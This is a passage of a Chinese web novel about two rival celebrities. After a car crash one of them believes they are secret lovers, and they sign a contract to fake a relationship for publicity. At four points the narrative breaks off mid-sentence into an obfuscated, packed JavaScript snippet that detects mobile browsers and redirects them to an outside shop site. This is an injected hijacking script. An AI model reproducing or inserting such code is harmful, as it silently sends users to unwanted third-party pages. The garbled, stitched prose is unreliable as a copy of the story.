对方似乎也感受到了江洺的不信任,微微加快了语速,“抱歉,耽误您两分钟的时间。今天晚上9点钟左右,傅予沉先生在驾车经过汇海路的时候,意外发生了车祸,现在正在医院。” “所以?”江洺试探着回答道。 “傅先生目前昏迷了……” 江洺陷入了短暂的自我怀疑,他心中有些不确定,刚才在烧对方杂志的时候,应该没有许过什么离谱的愿望?譬如‘傅予沉去死’之类? 沉默半响……他默默在心中撤回了一个许愿,向各路神佛补充,‘傅狗虽然讨人嫌,但罪不至死,小惩大诫就可以了。” “傅先生的手机屏幕在车祸中损坏了,他的紧急联系人电话,设定的是您的号码。” 算了,还是让他去死吧……江洺在心中默默补充。 “所以,我们希望您能抽空来医院一趟,配合我们做一下记录。” 江洺…… -- 在客厅里烦躁的转了两圈之后,江洺还是决定‘日行一善’,去医院配合一下人民警察的工作。 病床上,傅予沉头上缠着一圈纱布,正沉沉睡着,呼吸平稳,看起来状态不算太坏。 默默松了一口气,江洺的脸上又恢复了事不关己的冷漠。 “你是他的朋友?”巡查的护士看到江洺,问到。 “不是。” “那?” 见护士脸上漏出了一抹警惕的神色,江洺抬手摸了摸自己脸上的口罩,解释,“一个小时前,是你们联系我过来的……” 护士的脸上顿时露出了一抹看‘渣男’的表情,嘟哝了一声,“就是您一直不肯来啊,亏得患者这么信任你,把你设置为紧急联系人……” 江洺?! 信任?他跟那狗东西之间,有这个东西? “伤的重吗?”为了扭转自己的个人形象,江洺想了想,还是略表示了一点关心。 “脑部受到了撞击,目前的影像学检查,没有提示明显的器质性损伤,但是患者目前一直处于昏迷状态,具体的要等他醒过来才能确定。” “啧啧,开车不喝酒,喝酒不开车,该!” 护士瞪了江洺一眼,“经过检测,这位先生没有酒驾。” “啧啧,没有酒驾,这么点路都开到医院里了,看来是天意啊。” 护士…… -- 片刻后,两名年轻的警察赶到了医院,先是确认了江洺的个人信息,而后又问他跟傅予沉的关系。 江洺瞥了一眼病床上的某人,“就是普通的认识的关系,至于为什么把我设置成紧急联系人,我也不知道……他的亲属关系,我不太清楚。” 年轻的民警显然也没想到,找到的江洺这个紧急联系人,是个‘一问三不知’的,只能挠了挠头,“他的手机在车祸中损坏了,我们这边查询他的个人信息,需要一定时间才能联系上他的家属……能否麻烦你先照顾他一晚?” 江洺干笑了一声,“您平日里工作挺忙的哈?”否则,只要在网上吃过一星半点关于他和傅予沉的瓜,也不敢这么大咧咧的把‘昏迷不醒’的患者,交到他这个死对头手上。 就不怕他半夜偷偷‘拔傅予沉氧气管’? 年轻的警察憨厚地笑了笑,“可不是么?这几年海川这边旅游业发展的不错,南来北往的人不少,整个所里都人手不足……您还有什么问题吗?” 江洺想了想,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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看到对方的表情,傅予沉也意识到了事情的不对劲,他应该认识他?他又努力的思考了片刻,也只能勉强想起一些零星的片段。 ——车祸瞬间的记忆碎片里,有眼前青年泛红的眼尾,以及他们在盥洗间失控的‘激吻’。 ——还有那震耳欲聋的‘你!超!爱!’ 所以,他们是情侣关系? 【我喜欢他?】 傅予沉脑海里蓦地闪过这个念头,随即坚定了起来。他现在忘记了许多事情,却独独记得与这位相关的一点点影像,肯定是喜欢没错了! 况且,别的暂且不提,这位的长相,还真的挺符合他的审美的。 心跳有些快,傅予沉下意识抿了下唇,又看向江洺。 看对方的神情,似乎并没有十分愉悦的模样,是因为什么? 他们闹矛盾了? 可是,任他翻遍记忆,也找不到除了那个激吻之外,他们之间一丝一毫相处的记忆,看起来因为刚刚他经历了一场车祸,忘记了一些事情,导致这位十分不悦了。 傅予沉难得换位思考了一秒钟,如果他有一位男朋友,在经历了一场小小的擦伤后,突然忘了他,还一副刚醒来就六亲不认的模样,问‘你哪位’,他也会生气吧。不仅生气,可能还想把对方扔江里喂鱼。 他抬手按了按太阳穴,犹豫半响,忽略脑海里拉扯的排斥感,方才轻轻开口,“你是我……男朋友?” 江洺?! 然后傅予沉就看到了江洺脸上神色变幻,从好整以暇的嘲讽,到有些难以遏制的烦躁,最后转换成了不可置信。 傅予沉又反省了下,这么晚了,对方还守在他的病床旁,显然很在意他,可是现在,他做为男朋友却单方面忘了他……确实有点‘渣’,他本能感觉这会儿应该做点什么‘哄哄他’。 可是,失去了部分记忆的他,完全不知道怎么哄人啊! 在脑海里预设了几种场景,最后谨慎的选择了一个最不容易出错的方案,傅予沉试探着软和了语气,看向江洺,“哥哥?不要生我的气了,好吗?” 5. 澄清 ‘哥哥’两个字像是什么奇怪的开关,傅予沉顿时感觉脑海里多了许多确切的印象。 他声音一顿,心中升起了一股微妙的感觉,果然,他爱惨了江洺。 他伸手拽了一下江洺的衣角,又补充了一句,“哥哥?” 看着眼前疑似在撒娇的傅予沉,江洺虎躯一震,起了一层密密麻麻的鸡皮疙瘩,这狗东西又在玩什么? 三个小时前,这人也是这样笑着,在他面前阴阳怪气,‘江老师,你吃独食的样子可真狼狈啊’。 而现在,青年看到他,欢喜的仿佛看到了肉骨头的狗子。 “别动。”江洺伸手准备去按呼叫铃,找值班医生来给这位看看脑子。“您好,23床患者醒了,疑似谵妄,需要查一下脑子。” 傅予沉却没有管他说了些什么,趁机抓住了他的手腕,指尖擦过他腕骨处的旧伤,“那晚说好要公开的,你反悔了是不是?” 江洺拍开傅予沉的手,一手抓住了他的领口,微微低头,冷笑,“大影帝,你这又是拿了什么剧本?” 傅予沉抬头,一副迷茫的样子,“哥哥在说什么?什么剧本?我们晚上不是还一起去约会,吃了烛光晚餐吗?” “呵,演的不错。”江洺松开手,直起身来,“继续?” 他倒要看看这傅狗又玩什么幺蛾子。 傅予沉眼神奇怪的看了江洺一眼,委屈到,“哥哥不记得了?我不过是想要个名分,哥哥竟然就狠心要赶我走……我,我回去的路上不小心,就出了车祸。” 江洺气笑了,“呵,怎么,还是我的责任了?傅大影帝这是想要碰瓷?” 不曾想,青年突然扑进了他的怀里,双臂紧紧环着他的腰。江洺一时躲闪不及,被傅予沉抱了个满怀,只感觉浑身汗毛都炸了起来。 傅予沉仰起头,眨眼间那双琥珀色的眸子就升起了一团湿漉漉的水光,他抓住江洺的衣角,一贯清冽的声音混了些鼻音,委屈到,“地下恋三年,哥哥……真的连个名分都舍不得给吗?” 江洺气笑了,“行,要名分是吧,明天就官宣你是我家的狗。” -- ‘啪嗒’一声,门被打开,顾淮带着一身雨后的潮意,冲了进来,“傅予沉你怎么样,没事吧?” 看到眼前的情景,顾淮感觉自己足足愣了一分钟,才又同手同脚地退出了病房,‘啪嗒’一声关上了门。“抱歉,打扰了,你们继续。” 江洺是认识顾淮的,这位隔壁公司的老板,自从傅予沉出道起,就对他不错,甚至早些年傅予沉成名之前,还因此传出过一些桃色绯闻,后来也是这位出面澄清,才将这些绯闻压下去。 看对方匆匆进来,又匆匆离开,江洺也是满脑门黑线,他伸手推开傅予沉,指了指门口,“认识吗?” 傅予沉思考了片刻,才微微点头,“顾淮。” “你记得自己是谁吗?” “傅予沉。” 江洺拍了拍手,把方才的小插曲抛之脑后,“行,认识就好。” 顾淮站在门口踌躇半响,他们什么时候这么亲密了? 不是,我为什么要避开? 不行……难道是对面公司的什么阴谋? 不能放任他们这样在一起,万一…… -- ‘啪嗒’一声,顾淮再次推开了病房的门,然后就差点与刚准备出门的江洺撞了个满怀,他连忙后撤一步站定。 沉默半响,还是顾淮先开口,“江老师,幸会。” 江洺微微点头,“顾总,幸会。” 两人之间大眼瞪小眼半响,一时不知道如何开启这段例行寒暄,毕竟江洺从未设想过,有朝一日,他还需要跟对家公司的老板社交。 片刻之后,还是江洺先行动了,他伸手指了指傅予沉,“他好像撞坏了脑子,你回头找医生给他看看……我这边先回去了。” 顾淮,“好,多谢。” -- 回到了家,江洺怀着满腹心事,沉沉睡去,梦中似乎也落了一场雨,带着春天的泥泞潮湿,混杂着嘈杂的人声。 “滚!”江洺嘟囔了一句,翻了个身就又睡了过去。 第二天早上,江洺是被饿醒的。 摸了摸空落落有些疼痛感的腹部,江洺才想起来昨天晚上好像没来得及吃饭来着。他迷迷糊糊地蹬上了拖鞋,朝着厨房走了过去。 他眯着眼睛,把粥放到了微波炉,一转身就对上了一张睡眠不足的黑脸。 “啊,鬼啊!”江洺的瞌睡顿时醒了大半,抓着灶台上的平底锅就要打过去。 一只手从旁边伸了过来,接过他的平底锅,阴恻恻道,“你手机怎么关机了?” 江洺定了定神,才发现站在眼前的是他的经纪人庾绍,“大概是手机晚上没电了。昨天回来晚了,忘记给手机充电了,你怎么不去卧室喊我?” 庾绍怨念深重,“我倒是试探着敲了敲门,你老人家一个‘滚’直接扔了出来,我这不只好等你老人家睡好了再说么?” “啊哈,原来不是梦啊。抱歉……”江洺摸了摸鼻尖,“那什么,找我有什么事情?” 虞绍把手机递了过去。 正是微博界面,傅狗的主页。 05:20 傅予沉VIP,【@江洺VIP汪,现申请升级为江老师的——终身家养犬。】 下面是各路网友的狂欢。 【今夜无人入眠, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259317|198014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点击就看顶流驯犬实录→爆肝整理江傅五年互撕名场面+今晚离奇走向。】 【傅影帝团队疯球了?趁着车祸搞这种下作营销!某人三个月前抢洺洺代言的事情忘了?】 【严正声明:沉哥车祸后正在积极配合治疗,请勿传播不实信息。特殊时期,专注作品《暗涌》6月15日全国上映。】 【笑死,正主亲自拆官号台子,后援会脸疼吗?】 【十分钟前《致命心跳》官博关注了两位老师!盲猜要官宣恋综,这波营销我给满分。】 【纯路人,所以现在顶流圈都流行养替身文学?建议拍成《重生之我对家非要当我狗》】 …… 江洺黑着脸退出傅予沉的个人页面,返回微博主页,顿时感觉眼前又是一黑。 #高冷影帝为爱当狗#爆 #宿敌地下恋实锤#爆 #江洺傅予沉红毯后台激吻#爆 “艹”,江洺没忍住‘爆’了粗口。 虞绍有些担心的瞥了江洺一眼,试探道,“所以,是怎么回事?” 江洺无语翻了个白眼,“我哪知道那狗东西发什么疯!” “虽然,但是……”虞绍犹豫着点开傅予沉的微博,递给江洺,“那,这照片怎么回事?” 江洺沉默了。 不知道哪个天才拍到的,他脚下打滑,正好一头磕在傅予沉脸上的照片。 刹那间的抓拍,还真有几分‘接吻’的意思。 甚至,还有一半的镜像图,明亮的镜面里映照出了他微微发红的眼尾,以及因为吃痛泛出的生理性泪花……拍的十分唯美。 江洺…… “所以,你三年前突然官宣自己的性取向,是因为他?你暗恋他?”虞绍大胆猜测,小心求证。 江洺瞪了虞绍一眼,“暗恋他?!他配吗?” 如果是以前,虞绍肯定是毫不犹豫的摇头,不配! 但是现在,他看了看手机中的照片,又悄悄觑了江洺一眼,“呃,配?还是不配?” 江洺端起桌上的冷水,猛灌了一大口,“公司那边什么反应?” “秦总那边说是,让咱们自己看着处理。”三年前江洺已经公开出柜,如今网上除了些破防唯粉,大多是吃瓜群众,倒也没有什么针对他的过激言论。 江洺冷笑了一声,散团在即,合约也即将到期,看来公司那边是不想出力了,“呵,这人还没走呢,茶就已经凉了,这是准备放我自生自灭了?” 虞绍有些讪讪,“呃,或许是想给你自主权呢?” “呵,给我自由,然后等傅狗的粉丝打过来,才发现我的身后空无一人吗?”江洺白了虞绍一眼,“快点澄清吧。” 6. 名分 听到江洺说澄清,虞绍也不意外,下意识点头,随即又反应过来,“呃,怎么澄清?” 那张高清照片几乎算是实锤了,再加上傅予沉的公开发言,这搁在娱乐圈,几乎约等于‘官宣’。 江洺叹了口气,“联系公关公司那边找一下这张照片的来源”。 吃瓜群众不知道,但是拍这张照片的人肯定知道,他当时跟傅予沉之间,根本没有任何旖旎暧昧氛围。 这张照片,纯粹是后台互殴的意外产物,能拍到这张照片,肯定也拍到了这件事情的前因后果,到时候整个视频放出来就好了。 -- 另外一边,顾淮看向病床上的傅予沉,也是一副头疼的表情。 “我说,你真失忆了啊?” 傅予沉握着崭新的手机,表情倒还算镇定,“嗯。” 顾淮有些怀疑这位是又在作什么妖,“那你怎么记得自己的私人微博密码?” 傅予沉抬眸看了他一眼,那表情像在看傻子,“我只是失忆了,几年的记忆而已……又不是失智了?” “艹”顾淮咬了咬牙,“我看你还不如是失智了!微博是怎么回事?” 傅予沉低头又刷新了一下江洺的微博个人主页,还是没有看到回应,只能暂且将手机放下,“三年了,他终于同意公开了,我自然要抓住这个机会。” 顾淮……他感觉自己要裂开了,争辩道,“你昨天还说他是靠脸上位的花瓶。” 傅予沉想到了脑海里关于他们初遇的记忆,微微点头,“确实像是只名贵的瓷器。” 竟然在这位堪称‘性冷淡’的脸上,看出了春心荡漾,顾淮一脸的不忍直视,“你们之前还是死对头!” 傅予沉拿出手机,点开热搜#江洺傅予沉红毯后台激吻#爆,怼到了顾淮面前。 “死对头会接吻吗?” 顾淮……掐人中。 【医生,我需要抢救!!!】 -- 仿佛听到了顾淮的呼唤,一大群医生浩浩荡荡地走了进来,打断了某位‘恋爱脑’继续施法。 “所以,他确实失忆了?” "患者出现逆行性遗忘,大约失去了近3年的记忆。"为首的主任医生推了推眼镜,"然后,他又为这三年,自行构建了一段亲密关系认知。" 顾淮将信将疑,“那,这种情况,会恢复吗?” “像傅先生这样的病例,我们接触的也不多,”年迈的医生迟疑了片刻,又接着说道,“不过根据国外一些文献显示,大部分患者都是在遭受剧烈创伤后出现此类症状,并且在之后的三个月到半年的时间内缓慢恢复。” “那小部分情况呢?” “小部分情况终生未观测到记忆恢复的现象。”医生将病案合上,又补充了一句,“你也不需要太过担心,傅先生只是遗失了一段记忆,基本认知功能没有问题,应当不影响日常生活。” 都把死对头错认为恋爱对象了,这还叫认知功能没有问题?不过他想了想,还是咽下了这句话。 “谢谢。” 目送医生离开,一回头,顾淮看到了已经穿戴整齐,显然准备出门的傅予沉,又是一惊,“怎么了?” “我去找他!”傅予沉握着手机,脸色有些不好。 顾淮的视线落在了傅予沉的手机屏幕上。 -- #不是激吻,是互殴#爆 #就是这个宿敌味儿,正#爆 【江洺VIP,“打架时牙齿磕破嘴皮罢了,建议造谣的看看脑科。”附件.高清动图】 【江顶流亲自打脸CP狗的样子真帅!建议调走廊监控证明清白,除非……监控''''刚好''''坏了?】 【所以现在是顶流和他的疯狗在玩《五十度灰》片场play?建议下次开个直播打赏,我刷游艇看付费内容!】 【《顶流驯狗指南》《影帝再爱我一次》已过审,请江老师亲自来写番外,递笔。】 【请傅予沉回应,请星耀娱乐回应,自己脑补不要紧,发出来害人就不对了,洺洺独美!】 …… 看着澄清的帖子跻身热搜前三,把之前那几条压了下去,江洺松了口气,“事情这么顺利?” “听对方的意思,大约是之前联系了傅予沉那边,碰了壁……我们这边再不要的话,他那些东西就砸到手里了。” 想到那位疑似失智的死对头,江洺轻笑一声,“这倒也是。” 话音未落,电话声响了起来。 “江老师,您好,我是顾淮……关于傅予沉的事情,能有幸邀请您来谈一谈吗?” 江洺一愣,礼貌道,“关于照片的事情,我这边已经澄清了。至于傅影帝自己发的那条微博……我想贵公司想要公关,也不是问题?” 区区一条微博而已,正好又是傅予沉车祸的档口,随便说什么盗号、工作人员误传之类的,都能平息。 “不是照片的问题。” “那是什么问题?” “呃,一两句话说不清楚,能邀请您当面谈谈吗?” “抱歉……” “稍等,傅予沉这边有话要说”。 片刻后,听筒对面传出了傅予沉的声音,“哥哥,我好想你。” 江洺手一抖,手机掉到了地毯上。 -- 第二天,江洺全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259318|198014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 副武装,和庾绍一起抵达一家私人茶室的时候。 傅予沉头上戴着一顶鸭舌帽,正低头在看手机,听到开门声的声音,他猛的抬起头来,双眸绽放出了一缕明亮的光芒,“哥哥,你来啦?” 说话间他就站起身冲了过来,准备来一个亲密的拥抱。 江洺伸出一只手,推开了扑上来的‘大型犬’,看向了房间里的顾淮。 傅予沉却自动忽视了江洺的抗拒,顺手抱上了他的手臂,笑的十分快乐,“我就知道——哥哥你会来!” 江洺伸手推开凑到他的耳侧,准备靠在他肩头的某人,并且以眼神警告对方不许放肆,这才看向顾淮。 “你好,我是江洺。这位是我的经纪人,庾绍。” “江老师好,虞先生好,我是星耀娱乐的负责人顾淮。”介绍完之后,顾淮也不兜圈子,从桌上拿出了一份病例诊断书,递给江洺,“如你所见,傅予沉如今因为车祸,记忆出现了一点问题。” “逆行性失忆?”江洺挑眉。 顾淮点头,“不止,还自行虚构了一段亲密关系,而这段亲密关系的对象是您。” -- 想起昨天晚上傅予沉的表现,江洺的表情有些木然,一时不知道说什么好,他还以为那会儿的傅予沉又在发什么疯,原来是真疯了。 “我们猜想,应该与他一醒来,第一眼看到的人是您有关。” “所以?需要我负责吗?”江洺挑眉,把手里的病历放到桌上。 看到江洺的反应,顾淮就感觉今天的谈判多半要‘黄’,却还是不得不开口,“所以,我们希望江老师能够配合我们,炒一阵CP?听闻您最近面临转型期,这对您应当也没有什么坏处?” 江洺身体向后,靠在了椅背上,“抱歉,我也看不出炒CP对我有什么好处……” 停顿了片刻,他又缓缓补充,“况且,我听闻,傅予沉不喜欢同性?顾总就这样擅自替他做了决定……有想过,等他恢复记忆了要怎么办吗?” 顾淮看了一眼坐在一旁的傅予沉,顿时有些迟疑。 实际上,他并不知道傅予沉的性取向,因为据说这货智商一百八,曾自称他与普通人的智商差距,比人跟猴子的差距还大,看谁都是‘愚蠢的凡人’。 所以他一直认为这货眼高于顶,谁都入不了他的眼——简而言之,自恋或者无性恋,注孤生。 傅予沉却并不这么想,他在一旁见缝插针,“哥哥,我不喜欢同性,但我喜欢你呀!” 江洺……他一时品不出来,这句话是不是好话。 傅予沉又伸手拽了拽他的衣角,“所以,哥哥真的不能给我一个名分吗?” 7. 合约 离开茶室,江洺坐到了自己的车上,仰头靠在了车后排的靠背上,揉了揉眉心,这一天天的,都是些什么事儿。 “呵,名分?” 他听说过失忆,还真没听说过失忆的这么离奇的。 最重要的是,失忆还能让人性格大变?听起来不像是失忆了,倒像是近些年流行的那些设定……被什么人穿越了。 不过,话说回来,这大变之后的性格还真有点……啧,怎么说呢,有点可爱? “艹,原来我喜欢这种吗?”被自己突然冒出来的想法吓了一跳,江洺一头砸在前排座椅靠背上,“啊啊啊,烦死了,烦死了!” ‘呸呸’,江洺把这离奇的联想从脑海里赶了出去,傅予沉他何德何能,他配吗?他不配! 脑海里天马行空的想着,江洺突然听到隔壁出来虞绍的一声惊呼。“我去!” 前排的司机小陈也被惊的一抖,车子猛然一个疾冲,跑出了一段''''S''''弯。 江洺拽着安全带,瞪向一旁的虞绍,“给我一个解释!” 虞绍神色复杂,把手里的手机递给了江洺。 ——是一段偷拍视频。视频并不长,几分钟的时间,大约也就是傅予沉将将醒来之后那几分钟的时间。 他,正好在场。 视频显然是透过病房门上的玻璃窗口拍摄的,画面并不清晰,但是傅予沉最后那句,“地下恋三年,哥哥真的连个名分都舍不得给吗?”却清晰的透过听筒传递了过来。 江洺……不祥的预感。 #江傅地下恋#爆 #澄清还是成亲,我自有分辨#爆 #江洺,打脸#爆 #他超爱#爆 #你们在前面撕资源,他们在后面kiss# #是宿敌,还是情人,我自有判断# #你们在一起了,那粉丝算什么?算多管闲事吗?# #世道变了,昔日顶流也出来卖了# 江洺…… 虞绍在一旁觑着他的神色,试探到,“还澄清吗?” 江洺…… -- 一个小时之后,自从两家公司搬迁起,就保持关闭状态的连廊打开……带着一股封闭许久的烟尘气,刚刚分开的两拨人马再度会师,都在对方的脸上看出了一言难尽的表情。 只有失忆的那位始作俑者,一脸兴奋。 “哥哥,顾总说你找我?我就知道——哥哥你还是爱我的!” 带着一行人回到自己的办公室,顾淮从一旁的打印机上拿过来一份还带着微微热度的文件。 “我听闻江老师最近在接触一个综艺资源,《致命心跳》?” 江洺点头,“不错。” 顾淮微微点头,“那江老师知道那边算是恋综吗?” “知道。” “那么,江老师那边有合适的合作人选吗?” 江洺转头看向虞绍,虞绍轻咳一声,接过了话题,“这个……还没有。” 因为还没有合适的合作对象,再加上天音也处于一个不作为的状态,综艺那边出于播出效果考虑,还在犹豫,这个资源迟迟还没有谈下来,虞绍本来的打算是,如果常驻谈不下来,可以退而求其次,争取一期飞行嘉宾的名额。 看到虞绍不自然的神色,顾淮也大约猜到了一些内情,并没有直接挑明,转而说到,“我这边有个提议,江老师您看合不合适?” 他将文件推向江洺的方向,“我这边已经与综艺主办方那边初步沟通过了,可以直接敲定江老师做为常驻嘉宾的名额。” 江洺并没有立即打开文件,微微挑眉,“那么,条件是?” “傅予沉是我这边最有潜力的新人,我不希望因为这次的车祸事件影响他的商业价值。”顾淮轻咳一声,继续说到,“也就是,我希望尽快平息这次舆论事件,减少外界对他健康状态,包括认知状态的揣测。” “所以?” “所以,我们希望通过这档综艺,合理化你们的关系,完成从……”顾淮瞥了一眼‘乖巧’坐在一旁的傅予沉,又继续到,“完成从……所谓的‘死对头’,到恋爱关系变化。” 江洺皱眉,“要我陪他在综艺上演恋爱关系?” “不错”,顾淮紧接着说道,“放心,我们可以提前签订合约,仅仅需要维持三个月的恋爱关系,并且,我方也会在三个月之后,积极配合您解绑。” 顾淮仿佛是怕江洺拒绝似的,语速略快,“贵司的情况我也有所了解,按照我们公关团队分析,趁势与傅予沉签订恋爱合约,也是目前对您最好的公关方案。” “此外,傅予沉的综艺片酬也会一并打到您的账户,做为我们的诚意。之后,傅予沉还会以个人名义赠送您一套海岛别墅。并且在江老师之后的职业转型上,我们星耀也会尽全力帮忙,一些相关资源也会优先考虑江老师。” “当然,我听说江老师在天音的合约即将到期,如果江老师愿意的话,我们星耀娱乐也随时欢迎您的加入,并且可以给予您最好的S签。” 江洺有些诧异,挑眉,“这么丰厚?” 顾淮看向一旁的傅予沉,一副牙疼的表情,“想必江老师没有关注过,傅予沉不仅是我司艺人,还同时拥有我司过半股权。” “哦豁,带资入圈啊。”江洺似笑非笑,“失忆的人,说的话有法律效力?” “已经联系了傅予沉的亲属,并且请了公正”,顾淮将另外一份文件推到江洺面前,“之后,无论傅予沉恢复记忆与否,这份赠予协议都将生效。” 江洺没有着急去看那份赠予协议,先伸手翻开了恋爱合约。 【一、甲乙双方需在公众场合维持恋爱关系,包括但不限于牵手、拥抱、接吻。 二、微博互动频率不得低于每周2次,需使用CP粉暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259319|198014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 号,重大节日必须合体直播。 三、每月至少被拍到2次“秘密约会”,地点由团队指定。 四、配合对方完成一些双人商务。 …… 二十七、合约存续期间,任何一方不得与第三人发展真实恋爱关系,违者需赔付千万违约金。】 确认方才顾淮承诺的一些条件,都在合同上有相应的条款,江洺沉吟片刻,“我需要时间考虑。” 顾淮点头,“应该的,是我们这边给你添麻烦了。只是……” 庾绍在一旁扯了扯江洺的胳膊,压低声音道,"江老师,我感觉可行!三个月,你知道现在超话里CP热度多高吗?刚又有品牌方打电话问能不能双人代言.....这笔买卖稳赚不赔,况且结束的时候还能坑你这……咳咳,一笔补偿!" 江洺沉默片刻,又看了眼乖巧坐在一旁的傅予沉,“我这边需要添加一些附加条款。” 顾淮也不意外,微微点头,“应该的,请。” 傅予沉正捧着保温杯小口喝水,闻言眼睛倏地亮了,“要提前熟悉吗?要搬去哥哥的家吗?我可以!” 江洺的眸光落在那双唇上片刻,前几天‘斗殴’的伤痕已经大致愈合了。 这货又恢复了以往那副人模狗样的帅气模样。 只是……给人的感觉却又完全不一样了。 江洺很好奇,三个月之后傅予沉恢复记忆,知道自己‘割地赔款’,上杆子给他当‘狗’——那时的表情,一定很有意思。 他突然起了些兴致,勾了勾唇,在合同上落下了自己的名字。 傅予沉欢喜地接过了合约,端正地签下了自己名字。 “哥哥,所以我现在是有名分的人了吗?” 江洺…… “哥哥,那我们官宣吧!”傅予沉拿起了一旁的手机,跃跃欲试。 江洺冷笑一声,冷笑,"就这么高兴?别忘记了……三个月后,配合解绑,桥归桥路归路。" 傅予沉撇嘴,“哼,三个月之后,哥哥肯定舍不得我!” “好啊,拭目以待。” “那……那我现在可以吻你吗?” “不行!” “合约上明明说可以!” “必要时!” 眼前蓦地一暗,是傅予沉突然贴了过来,薄唇相贴的瞬间,江洺愣了愣,这是一个不含丝毫欲念的吻,温热的唇一触即分,不等他说什么,傅予沉已经先坐了回去。 “当当,官宣照片!” “不行!”江洺断然否决。 “哥哥,你不爱我了吗?” 江洺嗤笑一声,“呵,爱过吗?” 傅予沉看了一眼他的脸色,有些不情不愿,“那好吧……”片刻之后,却又高兴起来,“那我什么时候去哥哥那里住?” 江洺……这货该不是参加了什么整蛊真人秀,拿他开涮吧?! 8. 同居 第二天早上,虞绍把傅予沉的微信名片推给了江洺。 “凭什么是我加他,他怎么不主动加我?” “……”虞绍无语片刻,又转手把江洺的微信推给了傅予沉。 “明天节目组要先过来拍先导片,晚点傅予沉就要过来住,先熟悉熟悉,免得你们到时候露了馅。你这边还有什么需要添的吗?我让小陈提前准备。” “凭什么让他过来……” “那你去他那边住?” “不可能!” 虞绍叹了口气,站起身来,把江洺拉到沙发上坐下,“祖宗,合约刚签,综艺那边都要宣传上了,你好歹也演一演,成不?” 江洺冷哼一声,“演什么?演恩爱吗?你觉着这可能吗?”当时自己怎么就能一时糊涂,同意了呢?! 难道就是为了看傅予沉的笑话,把自己搭了进去?那这笔买卖也太亏了! 虞绍从茶几上拿起了一本书放到了江洺的手心里。 《演员的自我修养》。 “公司那边已经有确切消息了,散团也就是这段时间的事情,之前不是你说了,要积极准备寻求转型吗?” 虞绍苦口婆心,“这不,现成的演戏搭子来了,你就当是提前练练手?嗯?” 江洺冷哼一声,脊背放松了些许,靠向了沙发,“我尽量”。 虞绍知道他这是听进去了,“不是尽量,是必须。” 江洺撇了撇嘴,没吱声。 虞绍叹了一口气,“你也知道,现在因为你们的事情,吸引来了大批的CP粉……但是呢,这毕竟不是真的,你们只是合约恋爱,后续肯定要拆CP的,到时候这些粉丝肯定会偏爱‘爱的更深’的一方。” “傅予沉目前的记忆出现了偏差,那么在你们相处的时候,他就有天然的优势。你也不想辛辛苦苦几个月,到时候拆cp的时候,却给自己招黑粉,反倒给他送一批真爱粉吧?” “那必不可能!”江洺炸毛! 虞绍指了指江洺手中的书,“所以,从今天开始,你也要学着演起来。表现的像是真正恋爱了三年的样子。” “并且,你超爱的!”虞绍一锤定音。 江洺…… 虞绍继续再接再厉,又添了一把火,“况且,你不觉着,等傅予沉恢复记忆,甚至真正喜欢上你了,却发现你之前都是演的,那表情一定很有意思吗?” 江洺在脑海里模拟了一下,顿时神清气爽,“确实,令人期待。” -- “洺哥,我刚下飞机,就看到……所以,你跟姓傅的那白眼狼……真在一起三年了?” 江洺一手揉着眉心,嗤笑一声,“滚,没有的事儿!” “那,热搜?” 江洺瞟了一眼桌面上新鲜出炉的《恋爱合约》,无奈道,“就是因为工作需要,合作一段时间。” 听筒对面的陆景恒沉默片刻,微微叹了口气,“队长,是我连累你们了。” 如果不是他不小心受伤,大家还是一如既往的一起练习,一起演出……队内就不会人心浮动,以至于现在闹到了要散团的地步。 那江洺还能安安心心写歌,创作,继续做个当红顶流男团的队长。而不是被人嘲‘过气顶流’,或者被某些居心不良的人污蔑什么‘为了资源卖身上位’。 甚至,现在为了谋求转型,去和他不喜欢的人‘炒CP’。 “说什么胡话呢?况且,天下无不散的宴席,我年纪也不小了,如今队里的这个情况,小韩、林轩他们想要单飞也是人之常情”,江洺的语气也不自觉的柔和了几分,“你的伤怎么样了?” “好多了,这次复查情况不错,过阵子应当就能重回舞台了……只是……” 【只是即便你回了舞台,舞台上的其他人却不在了。】 江洺在心中默默补齐了陆景恒没说出口的话,也叹了口气,不过转而又笑到,“嗐,只要还在这个圈子,还愁以后没有合作的机会吗?” 陆景恒吸了下鼻子,破涕为笑,“也是,洺哥你这都能跟傅白眼狼炒CP了,还有什么是不可能的?” 江洺笑骂了一声,“滚!” 